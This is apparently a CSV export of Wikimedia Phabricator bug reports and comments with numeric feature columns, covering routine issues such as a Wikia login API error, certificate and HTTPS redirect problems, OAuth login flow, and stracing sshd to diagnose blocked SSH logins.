+**version**: AutoWikiBrowser (5.6.0.0), WikiFunctions (5.6.0.0), revision 11138 (2015-06-13 14:30:28)
+**net**: 2.0.50727.5420
+**duplicate**: 
+**site**: http://camphalfblood.wikia.com
+",Needs Triage,90.0,1436364793,1454362333.0,PHID-USER-tdr5snvuc2ykkapmjc5z,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-ovwfqa2xg36pqygot4sj,task_description,duplicate,True,c3,3,False,False,False,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+492442,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"Bug reported in http://wiki.openstreetmap.org too.
+
+In http://wici.porth.ac.uk too and version 5.5.3.0",,,1437063488,,PHID-USER-juznrlc2myguw74yvjkn,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+489110,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"@Josve05a, they can but generally they use a default one. I checked tonight and AWB seems to be working on wikia.military for both my username and my bot. I'm an admin, so I guess its possible that could be a factor, but as far as I can tell its working fine so it must be a setting on that wiki.",,,1436412290,,PHID-USER-yue5rzfyxiyeqbxu5yh3,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+488786,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Does different Wikia-wikis have different configs?,,,1436378328,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+488785,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Does different Wiki-wikis have different configs?,,,1436378318,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+488758,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"Just as a note, I was able to do some edits at Wikia last night with AWB. So it may have been a momentary glitch. I'll try again tonight when I get home and report back on the results but it will be late.",,,1436376591,,PHID-USER-yue5rzfyxiyeqbxu5yh3,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,False,,,0,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+105099,Use Material Design - Single line text fields for login forms on Android,https://www.google.com/design/spec/components/text-fields.html#,Needs Triage,90.0,1436311793,1436971835.0,PHID-USER-rooknayvbydy6sodz3lx,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-vbxnu4twhqa46siyjsyx,task_description,duplicate,True,c3,3,False,False,True,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+488364,Use Material Design - Single line text fields for login forms on Android,"Current state of forms:
+
+{F190144}
+
+{F190145}",,,1436311815,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-vbxnu4twhqa46siyjsyx,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+105098,Certificate error on https://www.meta.wikimedia.org/ redirect,"https://www.meta.wikimedia.org/  gives a ssl_error_bad_cert_domain error.
+
+(To clarify, if this redirect to meta.wikimedia.org were to be removed entirely, my own personal mourning period would be a rather brief one involving only a limited amount of tears, but a while ago people seem to have thought it would be a good idea: {T3698}, and I just saw someone using such a link in an internal document.)",Needs Triage,90.0,1436310936,1436644058.0,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5bho3524wdexmkl4if7r,task_description,duplicate,True,c3,3,True,False,True,0,True,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+490501,Certificate error on https://www.meta.wikimedia.org/ redirect,"www.$lang.$project.org domains were also killed recently due to this issue (T102815).
+
+I think this should also probably be killed considering that www.lang domains were killed even though there is heavier linking to those domains. Same issue for www.commons and www.nl. (cc. @BBlack)",,,1436637934,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-5bho3524wdexmkl4if7r,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,0,1
+104932,Using OAuth should not require a login for new users,"Steps to reproduce:
+# register a new account on enwiki
+# go to https://tools.wmflabs.org/oauth-hello-world/
+# click ""Authorize this application""
+
+Expected result: you get the OAuth dialog
+
+Actual result: you need to log in first
+
+This is because users are globally logged in when they log in, but not when they register. This is apparently somewhat intentional to avoid account creation spam (T18864). The OAuth central wiki will be spammed anyway due to the autocreation job that was put in place because of T74469, so there is no reason not to autologin there, and it would make the OAuth workflow smoother.
+
+-----
+See also T94885",Needs Triage,90.0,1436230829,1473232073.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-wdf7hbd7pd34ntmuosgp,task_description,resolved,True,c3,3,True,True,False,0,True,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+723873,Using OAuth should not require a login for new users,This was fixed by AuthManager. New users are immediately globally logged in now.,,,1473232073,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-wdf7hbd7pd34ntmuosgp,task_subcomment,,True,c3,3,True,,,61,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+493407,Using OAuth should not require a login for new users,Another approach is that Special:OAuth should start a global login procedure if the user is not logged in locally.,,,1437255499,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-wdf7hbd7pd34ntmuosgp,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+104727,add HTTPS variants for wmfblog in <rss> feed whitelists,"add HTTPS variants for wmfblog in <rss> feed whitelist.
+
+`<rss max=""6"">https://blog.wikimedia.org/feed/</rss>` yields:
+Extension:RSS -- Error: Error: ""https://blog.wikimedia.org/feed/"" is not in the whitelist of allowed feeds. The allowed feeds are as follows: http://blog.wikimedia.org/feed/, http://blog.wikimedia.org/c/our-wikis/wikimediacommons/feed/ and http://blog.wikimedia.org/c/communications/picture-of-the-day/feed/. ",Needs Triage,90.0,1435949953,1438039950.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-zstb3i7fhbl3umbgoehm,task_description,resolved,True,c3,3,False,False,True,0,True,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+497890,add HTTPS variants for wmfblog in <rss> feed whitelists,"Change 222691 merged by jenkins-bot:
+Add HTTPS variants for RSS feed whitelists
+
+[[https://gerrit.wikimedia.org/r/222691]]",,,1438039196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zstb3i7fhbl3umbgoehm,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+486370,add HTTPS variants for wmfblog in <rss> feed whitelists,"Change 222691 had a related patch set uploaded (by Jeremyb):
+add HTTPS variants for wmfblog in <rss> feed whitelists
+
+[[https://gerrit.wikimedia.org/r/222691]]
+",,,1435950754,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zstb3i7fhbl3umbgoehm,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+104656,Add services team as a contact alert for RESTBase back-end HTTP checks,As of https://gerrit.wikimedia.org/r/222272 we have HTTP checks in place to ensure each of the RESTBase nodes responds to simple queries. The Services team would need to be able to receive mails when such checks fail to ensure a prompt response.,Needs Triage,90.0,1435878993,1435880265.0,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_description,resolved,True,c3,3,True,True,True,0,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+485972,Add services team as a contact alert for RESTBase back-end HTTP checks,"applied on neon:
+
+
+```
+-	contact_groups                 admins
++	contact_groups                 admins,team-services
+ 	host_name                      restbase1001
+
+```
+...",,,1435880402,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+485971,Add services team as a contact alert for RESTBase back-end HTTP checks,"Thank you, @Dzahn !",,,1435880291,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+485967,Add services team as a contact alert for RESTBase back-end HTTP checks,"Change 222508 merged by Dzahn:
+Add the Services team to the contact list for RESTBase HTTP checks
+
+[[https://gerrit.wikimedia.org/r/222508]]",,,1435880076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+485961,Add services team as a contact alert for RESTBase back-end HTTP checks,"Change 222508 had a related patch set uploaded (by Mobrovac):
+Add the Services team to the contact list for RESTBase HTTP checks
+
+[[https://gerrit.wikimedia.org/r/222508]]
+",,,1435879465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+104327,strace sshd to figure out which filesystems are hit on login,"ssh login was blocked, even on hosts that did not have /home on NFS. This was mostly solved by reboots. It would be good to figure out why this happened.",Needs Triage,90.0,1435668098,1448901201.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-xnjlw7lfppva656i6zmc,task_description,resolved,True,c3,2,True,False,False,-1,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+583202,strace sshd to figure out which filesystems are hit on login,"Change 260734 merged by Faidon Liambotis:
+ldap: Set home for the LDAP lookup user
+
+[[https://gerrit.wikimedia.org/r/260734]]",,,1450867550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+583199,strace sshd to figure out which filesystems are hit on login,"Change 260734 had a related patch set uploaded (by Yuvipanda):
+ldap: Set home for the LDAP lookup user
+
+[[https://gerrit.wikimedia.org/r/260734]]
+",,,1450867427,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+583198,strace sshd to figure out which filesystems are hit on login,Boom some more!,,,1450867386,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,24,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+570266,strace sshd to figure out which filesystems are hit on login,cool great news,,,1448912352,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+570250,strace sshd to figure out which filesystems are hit on login,"I think this was just for tool labs, and I finally straced:
+ * ps aux | grep sshd 
+ * strace -p <pid> -f -e trace=file,chdir 2>&1 | tee stracelog
+ * grep stracelog -e '""' | sed -e 's/[^""]*""//;s/"".*//' | uniq | sort > files
+
+which showed we access /data/project/.system/tips, which was probably the underlying cause of this issue.",,,1448911813,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,21,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+570247,strace sshd to figure out which filesystems are hit on login,"Change 256053 merged by Yuvipanda:
+toollabs: remove motd-tips
+
+[[https://gerrit.wikimedia.org/r/256053]]",,,1448911744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+570245,strace sshd to figure out which filesystems are hit on login,"Change 256053 had a related patch set uploaded (by Merlijn van Deen):
+toollabs: remove motd-tips
+
+[[https://gerrit.wikimedia.org/r/256053]]
+",,,1448911613,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,False,,,21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+570071,strace sshd to figure out which filesystems are hit on login,I am in agreement but since this was so long ago and there is no historical record of the incident we will have to wait for similar happenings to dig in here.,,,1448901201,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-xnjlw7lfppva656i6zmc,task_subcomment,,True,c3,3,True,,,21,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+104128,Login-needed text isn't displayed for all newsletter-pages,"The referenced warning that login is needed doesn't show up for me for Special:NewsletterCreate and Special:NewsletterManage
+* http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletterCreate&returntoquery=&warning=requiredlogintext
+* http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletterManage&returntoquery=&warning=requiredlogintext
+Although for Special:Newsletters a (different) notice is displayed:
+* http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletters&returntoquery=&warning=exception-nologin-text
+
+Probably also shouldn't be 2 different messages where requiredlogintext (defined by newsletter extension) basically duplicates the other.",Needs Triage,90.0,1435487640,1435493401.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-TASK-uo5x4miw3tt6q2aggbse,task_description,resolved,True,c3,2,True,True,True,-1,True,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+483157,Login-needed text isn't displayed for all newsletter-pages,^^ That made every special page on no-login uniform. @Se4598 close it if http://newsletter-test.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Special%3ANewsletterCreate&returntoquery=&warning=exception-nologin-text looks good to you,,,1435492935,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0
+483154,Login-needed text isn't displayed for all newsletter-pages,"Change 221441 merged by jenkins-bot:
+Remove unnecessary parameter passed to requireLogin()
+
+[[https://gerrit.wikimedia.org/r/221441]]",,,1435492759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+483151,Login-needed text isn't displayed for all newsletter-pages,"Change 221441 had a related patch set uploaded (by Tinaj1234):
+Remove unnecessary parameter passed to requireLogin()
+
+[[https://gerrit.wikimedia.org/r/221441]]
+",,,1435491549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+483143,Login-needed text isn't displayed for all newsletter-pages,"That's strange. For the first two SpecialPage code, we have ( https://github.com/wikimedia/mediawiki-extensions-Newsletter/blob/master/includes/SpecialNewsletterCreate.php#L14 )
+```
+ $this->requireLogin( 'requiredlogintext' ); 
+```
+which never shows up in labs, and for the Special:Newsletter which showed up a message, the message-param was not given ( https://github.com/wikimedia/mediawiki-extensions-Newsletter/blob/master/includes/SpecialNewsletters.php#L13 )
+
+```
+$this->requireLogin();
+```",,,1435487917,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-uo5x4miw3tt6q2aggbse,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+103940,Etherpad buttons look broken on HTTPS,"HTTP: {F183621}
+HTTPS: {F183620}
+
+Seems like a simple font CORS issue:
+```
+gtisza@GergoTisza:~$ curl -so /dev/null -D- https://etherpad.wikimedia.org/static/font/fontawesome-etherpad.woff
+HTTP/1.1 200 OK
+Server: nginx/1.9.2
+Date: Fri, 26 Jun 2015 01:19:22 GMT
+Content-Type: application/octet-stream
+Content-Length: 10724
+Connection: keep-alive
+X-Powered-By: Express
+last-modified: Thu, 16 Apr 2015 21:06:58 GMT
+expires: Fri, 26 Jun 2015 07:19:22 GMT
+cache-control: max-age=21600
+set-cookie: express_sid=s%3AXOow_zj_WMcm5I99SGN1QVlTagzt1s6r.jIDPLGD8bLsjThDORaHI4MNBtCKRJSFL%2F1JiKP23l08; Path=/; HttpOnly
+Via: 1.0 etherpad.wikimedia.org, 1.1 varnish
+Accept-Ranges: bytes
+X-Varnish: 284252639
+Age: 0
+X-Cache: cp1044 miss (0)
+```",Needs Triage,90.0,1435281596,1435306434.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-4s6qj5xnajphvsartvze,task_description,invalid,True,c3,2,True,True,True,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+482320,Etherpad buttons look broken on HTTPS,"Eh, read that mail and then forgot about it. Sorry for the noise.
